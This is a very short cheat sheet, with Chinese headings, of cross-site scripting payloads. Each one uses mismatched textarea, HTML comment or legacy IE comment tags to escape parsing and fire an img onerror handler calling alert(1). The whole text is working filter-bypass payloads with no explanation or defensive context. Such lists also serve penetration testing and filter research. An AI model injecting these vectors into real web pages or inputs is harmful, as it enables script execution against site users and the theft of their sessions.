textarea+img标签

<textarea><img src="</textarea><img src='>script' onerror=alert(1)>//">

<!--<img src="--><img src=x onerror=alert(1)//">

comment标签逃逸(IE6-8)

<comment><img src="</comment><img src=x onerror=alert(1)//">